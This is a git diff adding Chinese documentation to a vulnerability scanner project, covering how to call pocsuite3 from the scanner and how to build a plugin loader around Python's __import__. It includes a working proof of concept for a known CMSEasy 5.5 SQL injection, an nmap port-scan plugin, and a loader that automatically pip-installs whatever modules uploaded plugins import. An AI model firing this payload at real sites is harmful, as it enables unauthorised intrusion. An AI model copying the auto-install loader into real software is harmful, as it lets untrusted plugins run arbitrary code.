diff --git a/docs/index.md b/docs/index.md
index 41584008..ceba154c 100644
--- a/docs/index.md
+++ b/docs/index.md
@@ -13,8 +13,8 @@
扫描器砍掉了非必要和耗时比较长的信息收集部分,用户可以自定义POC和插件来进行扫描,POC和插件支持本地上传,相关文档如下:
+ [Pocsuite3 开发文档及 PoC 编写规范及要求说明](./other/CODING.md)
-+ [python实现插件框架]()
-+ [插件编写]()
++ [python实现插件框架原理以及简单插件编写](./other/pythonPlugin.md)
++ [将pocsuite集成到扫描器里](./other/pocsuite2SZhe.md)
项目使用了以下技术:
diff --git a/docs/other/pocsuite2SZhe.md b/docs/other/pocsuite2SZhe.md
new file mode 100644
index 00000000..0da32ea0
--- /dev/null
+++ b/docs/other/pocsuite2SZhe.md
@@ -0,0 +1,142 @@
+# 将pocsuite集成到扫描器里
+
+## 前言
+网上关于写基于`pocsuite`相关的`poc`文章很多,但很少有讲把`pocsuite`集成到自身扫描器里面的,虽然命令行界面可以美其名曰`黑客的仪式感`,但扫描器更重要的是考虑将`天堂的门票卖给最多的人`
+
+## pocsuite3的安装
+集成到python扫描器里,直接使用pip即可(指定了国内加速镜像)
+`pip install pocsuite3 -i https://pypi.tuna.tsinghua.edu.cn/simple`
+
+## 基于demo的修改
+知道创宇之前有一个pocsuite的介绍文章[如何打造自己的PoC框架-Pocsuite3-使用篇](https://paper.seebug.org/904),里面有一个集成的demo:
+```python
+from pocsuite3.api import init_pocsuite
+from pocsuite3.api import start_pocsuite
+from pocsuite3.api import get_result
+from pocsuite3.api import path
+import os
+
+config = {
+ 'url': 'https://www.baidu.com/',
+ 'poc': os.path.join(paths.POCSUITE_ROOT_PATH, "../tests/login_demo.py"),
+ 'username': "asd",
+ 'password': 'asdss',
+ 'verbose': 0
+}
+# config字典的配置和cli命令行参数配置一模一样
+init_pocsuite(config)
+start_pocsuite()
+result = get_results().pop()
+print(result)
+```
+
+不过这个demo的导入包有点问题
+![](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220216221132.png)
+修改一下
+```python
+from pocsuite3.api import get_results
+from pocsuite3.api import paths
+```
+然后poc的路径又出现了问题
+`'poc': os.path.join(paths.POCSUITE_ROOT_PATH, "../../pocs/test.py")`
+
+这里前面拼接的path是
+`C:\Users\Cl0udG0d\.virtualenvs\SZhe_Scan-oUVMoVqK\lib\site-packages\pocsuite3`
+我虚拟环境包的位置
+
+使用`os.path.dirname(os.path.dirname(__file__))`修改其为我当前文件的相对位置
+
+`'poc': os.path.join(os.path.dirname(os.path.dirname(__file__)), "../pocs/test.py")`
+
+在`pocs`文件夹下放置所有的poc文件,当需要扫描的时候读取文件夹下的所有POC依次进行扫描即可,当然这个地方也可以使用python的多线程来进行加速了
+
+整个函数为
+```python
+def scanPoc(url):
+ config = {
+ 'url': url,
+ 'poc': os.path.join(os.path.dirname(os.path.dirname(__file__)), "../pocs/test.py"),
+ 'verbose': 0
+ }
+ print(os.path.dirname(os.path.dirname(__file__)))
+ # config字典的配置和cli命令行参数配置一模一样
+ init_pocsuite(config)
+ start_pocsuite()
+ result = get_results().pop()
+ print(result)
+```
+最后的`result`就是我们需要处理的返回结果,将其存储到数据库或者进一步操作,类型是`pocsuite`团队自己定义的`AttribDict`字典,通过键值对的方式读取内容
+
+## 一个poc demo
+这里给出一个pocsuite 的 [poc demo](https://blog.csdn.net/weixin_44426869/article/details/103962994)
+
+我们自定义的poc可以在demo上进行修改即可
+```python
+#导入所写PoC所需要类/文件,尽量不要使用第三方模块。
+#迫不得已使用第三方模块有其依赖规则,后面给出。
+from pocsuite3.api import Output,POCBase,register_poc,requests
+#PoC实现类,继承POCBase
+class DemoPoc(POCBase):
+ #PoC信息字段,需要完整填写全部下列信息
+ vulID = '88979' #漏洞编号,若提交漏洞的同时提交PoC,则写成0
+ version = '1'#PoC版本,默认为1
+ author = ['blh']#此PoC作者
+ vulDate = '2014-11-03'#漏洞公开日期
+ createDate = '2020-01-13'#编写PoC日期
+ updateDate = '2020-01-13'#更新PoC日期,默认与createDate一样
+ references = ['https://www.seebug.org/vuldb/ssvid-88979']#漏洞地址来源,0day不写
+ name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞'#PoC名称
+ appPowerLink = 'http://www.cmseasy.cn/'#漏洞产商主页
+ appName = 'CMSEasy'#漏洞应用名称
+ appVersion = '5.5'#漏洞影响版本
+ vulType = 'SQL Injection'#漏洞类型
+ desc = '''漏洞描述'''#在漏洞描述填写
+ samples = []#测试成功网址
+ install_requires = []#PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接
+ pocDesc = '''PoC用法描述'''#在PoC用法描述填写
+
+ #编写验证模式
+ def _verify(self):
+ #验证代码
+ result = {}
+ target = self.url + '/celive/live/header.php'
+ #此处payload即为post的数据
+ payload = {
+ 'xajax': 'LiveMessage',
+ 'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
+ "floor(rand(0)*2),(select md5(614)))a from "
+ "information_schema.tables group by a)b),"
+ "'','','','1','127.0.0.1','2') #"
+ }
+ # 使用requests发送post请求
+ response = requests.post(target,payload)
+ #‘851ddf5058cf22df63d3344ad89919cf’为0614的md5值
+ if '851ddf5058cf22df63d3344ad89919cf' in str(response.content):
+ result['VerifyInfo']={}
+ result['VerifyInfo']['URL'] = target
+ result['VerifyInfo']['Postdata'] = payload
+ return self.parse_output(result)
+ #编写攻击模式,此处直接给到验证模式,读者可以自行写出payload,获取管理员账号密码等信息。
+ def _attack(self):
+ return self._verify()
+ #自定义输出函数,调用框架输出的实例Output
+ def parse_output(self,result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+#注册PoC类,这样框架才知道这是PoC类
+register_poc(DemoPoc)
+```
+
+## END
+
+建了一个微信的安全交流群,欢迎添加我微信备注`进群`,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 :)
+
+
+
+
+
\ No newline at end of file
diff --git a/docs/other/pythonPlugin.md b/docs/other/pythonPlugin.md
new file mode 100644
index 00000000..f3277710
--- /dev/null
+++ b/docs/other/pythonPlugin.md
@@ -0,0 +1,184 @@
+# python插件式框架开发
+
+## 前言
+在扫描一个网站的时候,在扫描的生命周期的不同阶段有一些信息是我们想要获取的:比如在一个网站的基础信息搜集之后,我们还想对它进行端口扫描;比如我们想要检测这个网站是否存在WAF,WAF的版本,如果存在WAF的话后续的扫描就不用继续执行了;又比如在获取了一个网站中的动态URL之后,我们想要得到JS文件里面的所有接口信息等等。
+
+同时这些需求也不是所有人都需要,因为功能越多扫描起来的速度就越慢。
+
+它们并不是一个漏洞检测POC,因为我们想要获取的是一段探测的信息,并不只有`True`,`False`两种状态
+
+所以我们很容易想到使用插件来实现这个功能
+
+## Python __import__() 函数
+我们主要使用`__import__() `函数来实现这个功能,`__import__() `函数用于动态加载类和函数,如果一个模块经常变化就可以使用 `__import__()` 来动态载入。
+
+用法如下
+
+`a.py`文件
+```python
+#!/usr/bin/env python
+#encoding: utf-8
+
+import os
+
+print ('在 a.py 文件中 %s' % id(os))
+```
+
+`test.py`文件
+```python
+#!/usr/bin/env python
+#encoding: utf-8
+
+import sys
+__import__('a') # 导入 a.py 模块
+```
+执行`test.py`文件,输出结果为
+> 在 a.py 文件中 4394716136
+
+简单来说,我们只需要将插件放置在某一个特定的目录下,然后读取该目录下的全部插件,用`__import__()`函数依次执行每个插件的运行函数即可,最后统一将结果返回存储。
+
+## 整体实现
+先简单实现了这个动态调用的功能,后期根据需要继续改进插件部分的编写
+
+```python
+def scanPlugin(url,plugin,tid):
+ tempPlugin = __import__("plugins.{}".format(plugin), fromlist=[plugin])
+ result=tempPlugin.run(url)
+ saveExts(result, tid, plugin)
+```
+
+`saveExts()`用来存储扫描得到的信息,`run()`函数是每个插件文件里面都需要写的,用来执行插件主体逻辑
+
+一个端口扫描的插件如下:
+```python
+import re
+import socket
+import nmap
+
+def run(host):
+ '''
+ this is portscan exts example :D
+ :param host:
+ :return:
+ '''
+ pattern = re.compile('^\d+\.\d+\.\d+\.\d+(:(\d+))?$')
+ content = ""
+ if not pattern.findall(host):
+ host = socket.gethostbyname(host)
+ if pattern.findall(host) and ":" in host:
+ host=host.split(":")[0]
+ nm = nmap.PortScanner()
+ try:
+ nm.scan(host, arguments='-Pn,-sS --host-timeout=50 --max-retries=3')
+ for proto in nm[host].all_protocols():
+ lport = list(nm[host][proto].keys())
+ for port in lport:
+ if nm[host][proto][port]['state'] == "open":
+ service = nm[host][proto][port]['name']
+ content += '[*] 主机 ' + host + ' 协议:' + proto + '\t开放端口号:' + str(port) + '\t端口服务:' + service + "\n"
+ return content
+ except Exception as e:
+ nmap.sys.exit(0)
+ pass
+
+def test():
+ print('hi')
+
+
+if __name__ == '__main__':
+ print(run("127.0.0.1"))
+```
+扫描本地`127.0.0.1`之后得到的结果为:
+![](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220326225820.png)
+
+可以看到扫描端口的结果是正确的,但随之而来又存在一个新的问题,请看导入包这一部分
+```python
+import re
+import socket
+import nmap
+```
+这里的`nmap`包在我们本地的测试环境中是存在的,但是如果有用户上传的插件里面导入了一些我们没有的包,运行插件的时候自然会报错,导致插件导入之后也不能正常运行
+
+考虑到很多编程语言都会有`预处理`这个过程,我们可以也可以对扫描器插件加载进行一次预处理,在刷新插件的时候,把插件内部需要导入,但是python环境里面不存在的包下载下来
+
+这里只考虑了`python`脚本中按照`import requests`这种形式的导入,没有考虑变形的`from xxx import xxx`或者`from xxx import xxx as xxx`
+
+其正则匹配规则为`pattern = re.compile("^import (.*?)$")`
+
+一个简单的示例插件`plugin1.py`
+```python
+import requests
+import re
+
+def run(url):
+
+ return "test {}".format(url)
+
+
+def test():
+ print('hi')
+
+
+if __name__ == '__main__':
+ test()
+```
+里面导入了`requests`和`re`包,实际上`requests`在我本地已经下载了,`re`是`python`内置的包
+
+在`python`代码里面下载包的代码如下,这里直接用了清华源
+```python
+from pip._internal import main
+def install(package,source="https://pypi.tuna.tsinghua.edu.cn/simple"):
+ main(['install', package,'-i',source])
+```
+
+预处理的函数为
+```python
+def getDepends(dir):
+ pattern = re.compile("^import (.*?)$")
+ moduleKeys=list(sys.modules.keys())
+ currdir = os.path.join(os.path.dirname(os.path.dirname(__file__)),dir)
+ for files in os.listdir(currdir):
+ if os.path.splitext(files)[1] == '.py' and not files.startswith("_"):
+ filename = os.path.splitext(files)[0]
+ filepath=currdir+"/"+filename+".py"
+ logging.info("{} is Checking".format(filepath))
+ with open(filepath, 'r') as f:
+ for line in f.readlines():
+ result=pattern.findall(line.strip())
+ if result:
+ name=result[0]
+ if name and checkLib(name,moduleKeys):
+ logging.info("{} Lib is Loading".format(name))
+ install(name)
+ else:
+ print("{} Lib is Loaded".format(name))
+ return
+```
+
+`name`是我们获得的包名,`checkLib(name,moduleKeys)`函数用来检测包是否下载,未下载则返回`True`
+
+考虑到内置包和`pip`下载包,所以在`try`里面分了两步进行
+```python
+def checkLib(libName,moduleKeys):
+ try:
+ if libName in moduleKeys:
+ return False
+ importlib.import_module(libName)
+ return False
+ except Exception as e:
+ logging.warning(e)
+ return True
+```
+检测结果为
+![](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220327210610.png)
+
+使用`pip uninstall`卸载掉`requests`包,重新运行
+![](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220327210750.png)
+下载成功,实现了预处理下载的功能
+
+
+
+## 参考链接
++ `https://www.jianshu.com/p/a472f44c7161`
++ `https://www.runoob.com/python/python-func-__import__.html`
++ `https://www.jb51.net/article/232964.htm`